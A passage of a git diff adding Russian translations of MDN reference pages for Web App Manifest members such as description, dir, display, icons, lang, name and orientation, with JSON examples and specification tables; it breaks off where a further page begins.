+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.categories")}}</p>
diff --git a/files/ru/web/manifest/description/index.html b/files/ru/web/manifest/description/index.html
new file mode 100644
index 0000000000..db2787bb52
--- /dev/null
+++ b/files/ru/web/manifest/description/index.html
@@ -0,0 +1,81 @@
+---
+title: description
+slug: Web/Manifest/description
+tags:
+  - Manifest
+  - Web
+  - description
+translation_of: Web/Manifest/description
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"description": "Удивительное приложение, которое поможет вам достичь вашей мечты."</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><dfn><code>description</code></dfn> это строка, в которой разработчики могут объяснить, что делает приложение. <code>description</code> способно к направленности, что означает, что оно может отображаться слева направо или справа налево на основе значений свойств <code><a href="./dir">dir</a></code> and <code><a href="./lang">lang</a></code> манифеста.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Простой <code>description</code> на языке слева направо:</p>
+
+<pre class="brush: json">"description": "Удивительное приложение, которое поможет вам достичь вашей мечты."</pre>
+
+<p><code>description</code> на арабском языке, который будет отображаться справа налево:</p>
+
+<pre class="brush: json" dir="rtl"><code>"dir": "rtl",
+"lang": "ar",
+"</code>description<code>": ".تطبيق رائع سيساعدك على تحقيق أحلامك"</code></pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#description-member', 'description')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.description")}}</p>
diff --git a/files/ru/web/manifest/dir/index.html b/files/ru/web/manifest/dir/index.html
new file mode 100644
index 0000000000..c7798629be
--- /dev/null
+++ b/files/ru/web/manifest/dir/index.html
@@ -0,0 +1,95 @@
+---
+title: dir
+slug: Web/Manifest/dir
+tags:
+  - Manifest
+  - Web
+  - dir
+translation_of: Web/Manifest/dir
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"dir": "auto"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Базовое направление, в котором отображаются направленные элементы манифеста. Вместе с <code><a href="./lang">lang</a></code>, позволяет корректно отобразить языки, читающиеся справа налево.</p>
+
+<p><code>dir</code> может быть одним из следующих значений:</p>
+
+<ul>
+ <li><code>"auto"</code> — направление текста определяется агентом пользователя</li>
+ <li><code>"ltr"</code> — слева направо</li>
+ <li><code>"rtl"</code> — справа налево</li>
+</ul>
+
+<p>Направленные свойства:</p>
+
+<ul>
+ <li><code><a href="./name">name</a></code></li>
+ <li><code><a href="./short_name">short_name</a></code></li>
+ <li><code><a href="./description">description</a></code></li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Заметка</strong>: Если значение опущено или установлено в <code>auto</code>, браузер будет использовать <a href="https://developer.mozilla.org/ru/docs/Web/Localization/Unicode_Bidirectional_Text_Algorithm">двунаправленный алгоритм Unicode</a>, чтобы сделать наилучшее предположение о направлении текста.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json" dir="rtl"><code>"dir": "rtl",
+"lang": "ar",
+"short_name": "!أنا من التطبيق"</code></pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#dir-member', 'dir')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.dir")}}</p>
diff --git a/files/ru/web/manifest/display/index.html b/files/ru/web/manifest/display/index.html
new file mode 100644
index 0000000000..7278265dad
--- /dev/null
+++ b/files/ru/web/manifest/display/index.html
@@ -0,0 +1,122 @@
+---
+title: display
+slug: Web/Manifest/display
+tags:
+  - Manifest
+  - Web
+  - display
+translation_of: Web/Manifest/display
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"display": "standalone"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Если свойство <code>display</code> не указано, по умолчанию используется <code>"browser"</code>.</p>
+</div>
+
+<p><code>display</code> - это строка, которая определяет предпочитаемый разработчиком режим отображения для веб-сайта. Режим отображения изменяет количество отображаемого пользовательского интерфейса браузера и может варьироваться от <code>"browser"</code> (когда отображается полное окно браузера) до <code>"fullscreen"</code> (когда приложение полноэкранно).</p>
+
+<div class="blockIndicator note">
+<p><strong>Заметка:</strong> Вы можете выборочно применить CSS к своему приложению на основе режима отображения, используя медиа-функцию {{cssxref("@media/display-mode", "display-mode")}}. Это может быть использовано для обеспечения более гладкого перехода для пользователя от загрузки сайта по URL к запуску по иконке на рабочем столе.</p>
+</div>
+
+<h2 id="Значения">Значения</h2>
+
+<p>Валидные значения следующие:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Режим отображения</th>
+   <th scope="col">Описание</th>
+   <th scope="col">Резервный режим отображения</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>fullscreen</code></td>
+   <td>Используется все доступное пространство экрана и агент пользователя {{Glossary("chrome")}} не отображается.</td>
+   <td><code>standalone</code></td>
+  </tr>
+  <tr>
+   <td><code>standalone</code></td>
+   <td>Приложение будет выглядеть и ощущаться, как отдельное приложение. Это может включать наличие другого окна у приложения, собственной иконки в меню запуска и т.д. В этом режиме агент пользователя будет исключать элементы пользовательского интерфейса (ПИ) для контроля за навигацией, но может включать другие элементы ПИ, такие как статус-бар.</td>
+   <td><code>minimal-ui</code></td>
+  </tr>
+  <tr>
+   <td><code>minimal-ui</code></td>
+   <td>Приложение будет выглядеть и ощущаться, как отдельное приложение, но будет иметь минимальный набор элементов ПИ для контроля над навигацией. Элементы будут варьироваться в зависимости от браузера.</td>
+   <td><code>browser</code></td>
+  </tr>
+  <tr>
+   <td><code>browser</code></td>
+   <td>Приложение открывается в обычной вкладке браузера или новом окне, в зависимости от браузера и платформы. По умолчанию.</td>
+   <td>(None)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json">"display": "standalone"
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#display-member', 'display')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Firefox version 47 supports only <code>browser</code> value of <code>display</code>; <code>minimal-ui</code>, <code>standalone</code> , and <code>fullscreen</code> were added in Firefox 57.</p>
+</div>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.display")}}</p>
diff --git a/files/ru/web/manifest/iarc_rating_id/index.html b/files/ru/web/manifest/iarc_rating_id/index.html
new file mode 100644
index 0000000000..188472ad28
--- /dev/null
+++ b/files/ru/web/manifest/iarc_rating_id/index.html
@@ -0,0 +1,85 @@
+---
+title: iarc_rating_id
+slug: Web/Manifest/iarc_rating_id
+tags:
+  - Manifest
+  - Web
+  - iarc_rating_id
+translation_of: Web/Manifest/iarc_rating_id
+---
+<div>{{QuickLinksWithSubpages("/ru/docs/Web/Manifest")}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"iarc_rating_id": "e84b072d-71b3-4d3e-86ae-31a8ce4e53b7"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><dfn><code>iarc_rating_id</code></dfn> - это строка, представляющая <a href="https://www.globalratings.com/">Международной коалиции возрастных рейтингов (IARC)</a> код сертификации веб-приложения. Он предназначен для определения возраста, для которого подходит веб-приложение.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The same code can be shared across multiple participating storefronts, as long as the distributed product remains the same (i.e., doesn’t serve totally different code paths on different storefronts).</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json" dir="rtl">"iarc_rating_id": "e84b072d-71b3-4d3e-86ae-31a8ce4e53b7"
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#iarc_rating_id-member', 'iarc_rating_id')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.iarc_rating_id")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.globalratings.com/how-iarc-works.aspx">How IARC Works</a></li>
+ <li><a href="https://www.globalratings.com/for-developers.aspx">How developers can get their games and apps rated with IARC</a></li>
+</ul>
diff --git a/files/ru/web/manifest/icons/index.html b/files/ru/web/manifest/icons/index.html
new file mode 100644
index 0000000000..e9ba3bfe32
--- /dev/null
+++ b/files/ru/web/manifest/icons/index.html
@@ -0,0 +1,140 @@
+---
+title: icons
+slug: Web/Manifest/icons
+tags:
+  - Icons
+  - Manifest
+  - Web
+translation_of: Web/Manifest/icons
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>Array</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"icons": [
+  {
+    "src": "icon.webp",
+    "sizes": "48x48",
+    "type": "image/webp"
+  }
+]</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>icons</code> Определяет массив объектов изображений, которые могут использованы как иконки приложения в различных контекстах. К примеру, они могут быть использованы для представления приложения среди списка других приложений или для интеграции его с переключателем задач <abbr title="операционная система">ОС</abbr> и/или настроек системы.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: json">"icons": [
+  {
+    "src": "icon/lowres.webp",
+    "sizes": "48x48",
+    "type": "image/webp"
+  },
+  {
+    "src": "icon/lowres",
+    "sizes": "48x48"
+  },
+  {
+    "src": "icon/hd_hi.ico",
+    "sizes": "72x72 96x96 128x128 256x256"
+  },
+  {
+    "src": "icon/hd_hi.svg",
+    "sizes": "72x72"
+  }
+]</pre>
+
+<h2 id="Значения">Значения</h2>
+
+<p>Объекты изображений могут содержать следующие значения:</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Параметр</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>sizes</code></td>
+   <td>Строка, содержащая разделенные пробелами размеры изображения.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>Путь к файлу изображения. Если <code>src</code> является относительным URL, основным URL будет URL манифеста.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>
+    <p>Служит для определения медиа-типа изображения.Цель свойства позволить агенту пользователя быстро проигнорировать изображения медиа-типа, который он не поддерживает.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>purpose</td>
+   <td>
+    <p>Определяет назначение изображения, например, если изображение предназначено для каких-то особых целей в контексте ОС (т. е. для лучшей интеграции)</p>
+
+    <p><a href="https://w3c.github.io/manifest/#purpose-member"><code>purpose</code></a> может иметь одно из следующих значений:</p>
+
+    <ul>
+     <li><code>badge</code>: Пользовательский агент может представить этот значок там, где ограничения пространства и/или требования к цвету отличаются от таковых для значка приложения.</li>
+     <li><code>maskable</code>: Изображение разработано с учетом <a href="https://w3c.github.io/manifest/#icon-masks">масок значков и безопасной зоны</a>, так что пользовательский агент может безопасно игнорировать и маскировать любую часть изображения за пределами безопасной зоны.</li>
+     <li><code>any</code>: Пользовательский агент может отображать значок в любом контексте (это значение по умолчанию).</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#icons-member', 'icons')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.icons")}}</p>
diff --git a/files/ru/web/manifest/index.html b/files/ru/web/manifest/index.html
new file mode 100644
index 0000000000..1a7eb8beb4
--- /dev/null
+++ b/files/ru/web/manifest/index.html
@@ -0,0 +1,111 @@
+---
+title: Web App Manifest
+slug: Web/Manifest
+tags:
+  - App
+  - Manifest
+  - Reference
+  - Web
+translation_of: Web/Manifest
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<div>{{SeeCompatTable}}</div>
+
+<p><strong>Манифесты веб-приложений</strong> являются частью набора веб-технологий, называемых <a href="/ru/docs/Web/Apps/Progressive">прогрессивными веб-приложениями</a> (PWA, progressive web apps), представляющими собой веб-сайты, которые можно установить на домашний экран устройства без магазина приложений. В отличие от обычных веб-приложений с простыми ссылками на домашний экран или закладками, PWA можно загружать заранее и работать в автономном режиме, а также использовать обычные {{domxref('','Web API')}}.</p>
+
+<p>Манифест веб-приложения предоставляет информацию о приложении в текстовом файле {{glossary ("JSON")}}, который необходим того, чтобы веб-приложение было загружено и отображалось пользователю аналогично нативному приложению (например, для установки на домашний экран устройства, предоставляющий пользователям более быстрый доступ и больше возможностей).</p>
+
+<div class="hidden">
+<p>Can PWA manifest contain comments?<br>
+ It is a <a href="/en-US/docs/Glossary/JSON">JSON</a>-formatted file, with one exception: it is allowed to contain "<code>//</code>"-style comments.</p>
+</div>
+
+<h2 id="Deploying_a_manifest_with_the_link_tag" name="Deploying_a_manifest_with_the_link_tag">Содержимое манифеста</h2>
+
+<p>Манифест может содержать следующие элементы:</p>
+
+<p>{{ListSubpages("/ru/docs/Web/Manifest")}}</p>
+
+<h2 id="Deploying_a_manifest_with_the_link_tag" name="Deploying_a_manifest_with_the_link_tag">Пример манифеста</h2>
+
+<pre class="brush: json">{
+  "name": "HackerWeb",
+  "short_name": "HackerWeb",
+  "start_url": ".",
+  "display": "standalone",
+<span class="pl-s"><span class="pl-pds">  "</span>background_color<span class="pl-pds">"</span></span>: <span class="pl-s"><span class="pl-pds">"</span>#fff<span class="pl-pds">"</span></span>,
+  "description": "A simply readable Hacker News app.",
+  "icons": [{
+    "src": "images/touch/homescreen48.png",
+    "sizes": "48x48",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen72.png",
+    "sizes": "72x72",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen96.png",
+    "sizes": "96x96",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen144.png",
+    "sizes": "144x144",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen168.png",
+    "sizes": "168x168",
+    "type": "image/png"
+  }, {
+    "src": "images/touch/homescreen192.png",
+    "sizes": "192x192",
+    "type": "image/png"
+  }],
+  "related_applications": [{
+    "platform": "web"
+  }, {
+    "platform": "play",
+    "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb"
+  }]
+}</pre>
+
+<h2 id="Deploying_a_manifest_with_the_link_tag" name="Deploying_a_manifest_with_the_link_tag">Внедрение манифеста</h2>
+
+<p>Манифест веб-приложения внедряется в вашу HTML-страницу, с помощью тега ссылки в заголовке вашего документа:</p>
+
+<div class="highlight">
+<pre><code class="language-html"><span class="nt">&lt;link</span> <span class="na">rel=</span><span class="s">"manifest"</span> <span class="na">href=</span><span class="s">"/manifest.webmanifest"</span><span class="nt">&gt;</span></code></pre>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Расширение <code>.webmanifest</code> указывается в разделе спецификации <a href="https://w3c.github.io/manifest/#media-type-registration">Media type registration</a> section of the specification (ответ файла манифеста должен возвращать <code>Content-Type: application/manifest+json</code>). Браузеры обычно поддерживают манифесты с другими соответствующими расширениями, такими как <code>.json</code> (<code>Content-Type: application/json</code>).</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Если для получения манифеста требуются учетные данные - атрибут <code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code> должен иметь значение <code>"use-credentials"</code>, даже если файл манифеста находится в том же источнике, что и текущая страница.</p>
+</div>
+
+<h2 id="Заставки">Заставки</h2>
+
+<p>В Chrome 47 и более поздних версиях заставки отображаются при загрузке веб-приложения с домашнего экрана. Эти заставки автоматически генерируются с использованием свойств, указанных в манифесте приложения, например: <code>name</code>, <code>background_color</code> и иконки в массиве <code>icons,</code> которые ближе к 128dpi для устройства.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Manifest')}}</td>
+   <td>{{Spec2('Manifest')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{Compat("html.manifest")}}</div>
diff --git a/files/ru/web/manifest/lang/index.html b/files/ru/web/manifest/lang/index.html
new file mode 100644
index 0000000000..bc0fecb593
--- /dev/null
+++ b/files/ru/web/manifest/lang/index.html
@@ -0,0 +1,73 @@
+---
+title: lang
+slug: Web/Manifest/lang
+tags:
+  - Manifest
+  - Web
+  - lang
+translation_of: Web/Manifest/lang
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"lang": "en-US"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><dfn><code>lang</code></dfn> является строкой, содержащей единственный <a href="../HTML/Global_attributes/lang">языковой тег</a>. Он определяет основной язык для значений направленных свойств манифеста, и вместе с <code><a href="./dir">dir</a></code> определяет их направленность.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json" dir="rtl">"lang": "en-US"</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#lang-member', 'lang')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.lang")}}</p>
diff --git a/files/ru/web/manifest/name/index.html b/files/ru/web/manifest/name/index.html
new file mode 100644
index 0000000000..4be2e6411d
--- /dev/null
+++ b/files/ru/web/manifest/name/index.html
@@ -0,0 +1,81 @@
+---
+title: name
+slug: Web/Manifest/name
+tags:
+  - Manifest
+  - Web
+  - name
+translation_of: Web/Manifest/name
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"name": "Awesome application"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><dfn><code>name</code></dfn> - это строка, которая представляет имя веб-приложения, как оно обычно отображается пользователю (например, среди списка других приложений или в качестве метки для значка). <code>name</code> поддерживает направленность, что означает, что оно может отображаться слева направо или справа налево в зависимости от значений свойств манифеста <code><a href="./dir">dir</a></code> и <code><a href="./lang">lang</a></code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Простое <code>name</code> на языке слева направо:</p>
+
+<pre class="brush: json">"name": "Потрясающее приложение"</pre>
+
+<p><code>name</code> справа налево на арабском:</p>
+
+<pre class="brush: json" dir="rtl"><code>"dir": "rtl",
+"lang": "ar",
+"name": "!أنا من التطبيق"</code></pre>
+
+<h2 id="Specification">Specification</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#name-member', 'name')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.name")}}</p>
diff --git a/files/ru/web/manifest/orientation/index.html b/files/ru/web/manifest/orientation/index.html
new file mode 100644
index 0000000000..eae33e0614
--- /dev/null
+++ b/files/ru/web/manifest/orientation/index.html
@@ -0,0 +1,99 @@
+---
+title: orientation
+slug: Web/Manifest/orientation
+tags:
+  - Manifest
+  - Orientation
+  - Web
+translation_of: Web/Manifest/orientation
+---
+<div>{{QuickLinksWithSubpages('/ru/docs/Web/Manifest')}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type</th>
+   <td><code>String</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Mandatory</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Example</th>
+   <td>
+    <pre class="brush: json no-line-numbers">
+"orientation": "portrait-primary"</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>orientation</code> определяет ориентацию по умолчанию для всех верхних уровней {{Glossary("Browsing context", "контекстов браузера")}} приложения.</p>
+
+<ul>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> <code>orientation</code> и/или его конкретные значения могут не поддерживаться пользовательским агентом в различных режимах отображения, поскольку их поддержка не имеет смысла для конкретного контекста.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Ориентация может быть изменена во время выполнения через {{domxref('Screen/orientation', 'API Ориентации экрана')}}.</p>
+</div>
+
+<h2 id="Значения">Значения</h2>
+
+<p><code>orientation</code> может иметь одно из следующих значений:</p>
+
+<ul>
+ <li><code>any</code></li>
+ <li><code>natural</code></li>
+ <li><code>landscape</code></li>
+ <li><code>landscape-primary</code></li>
+ <li><code>landscape-secondary</code></li>
+ <li><code>portrait</code></li>
+ <li><code>portrait-primary</code></li>
+ <li><code>portrait-secondary</code></li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: json" dir="rtl"><code>​​"orientation": "portrait-primary"</code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+   <th scope="col">Feedback</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>{{SpecName('Manifest', '#orientation-member', 'orientation')}}</p>
+   </td>
+   <td>
+    <p>{{Spec2('Manifest')}}</p>
+   </td>
+   <td>
+    <p>Initial definition.</p>
+   </td>
+   <td>
+    <p><a href="https://github.com/w3c/manifest/issues/">Web App Manifest Working Group drafts</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("html.manifest.orientation")}}</p>
diff --git a/files/ru/web/manifest/prefer_related_applications/index.html b/files/ru/web/manifest/prefer_related_applications/index.html
new file mode 100644
index 0000000000..45322e5da7
--- /dev/null
